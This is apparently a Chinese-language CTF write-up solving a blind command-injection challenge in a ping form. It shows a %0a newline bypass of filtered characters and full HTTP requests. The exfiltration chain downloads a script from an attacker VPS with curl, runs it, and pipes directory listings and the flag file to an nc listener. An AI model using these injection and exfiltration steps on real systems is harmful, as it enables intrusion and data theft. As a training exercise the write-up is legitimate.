xChar
·9 days ago

297a673a89db936acaa55bac560f989

朋友发来一道ctf题目,打开网站如下图,一眼命令执行漏洞。

Pasted image 20241115170827

抓包测试无回显,但会显示命令执行成功。

Pasted image 20241115170856

请求如下:

POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 12
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

ip=127.0.0.1

测试过滤什么字符,测试发现,过滤了下述字符,那么通过dnslog外带的方式就被堵死了。

;`$

Pasted image 20241115170926

Pasted image 20241115170956

dnslog外带的方式通常是利用尖括号进行命令执行,如

`whoami`.xxx.dnslog.cn

测试发现%未过滤可以通过%0a(换行符)绕过执行命令

1、准备vps服务器,在vps上新建一个1.sh脚本,脚本内容如下

ls / | nc vps地址 1234

2、vps上用nc监听请求,并开启一个新窗口启动python服务,让靶机下载1.sh脚本

nc -lvnp 1234
python3 -m http.server 80

3、靶机执行如下命令

ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/4.sh
chmod 777 /tmp/4.sh
/bin/sh /tmp/4.sh

请求报如下:

POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 50
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/4.sh

Pasted image 20241115172903

结果如下,可以返回请求

c7a4bf2d2d68349b0d31078e064e410

那么查看flag则只需要修改1.sh的脚本内容如下

cat /FLAG | nc vps地址 1234

再走一遍,获取flag

ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/5.sh
chmod 777 /tmp/5.sh
/bin/sh /tmp/5.sh

490d14b6eac008d7954445c85e0e895

根据flag的格式知道n1book上的题

Loading comments...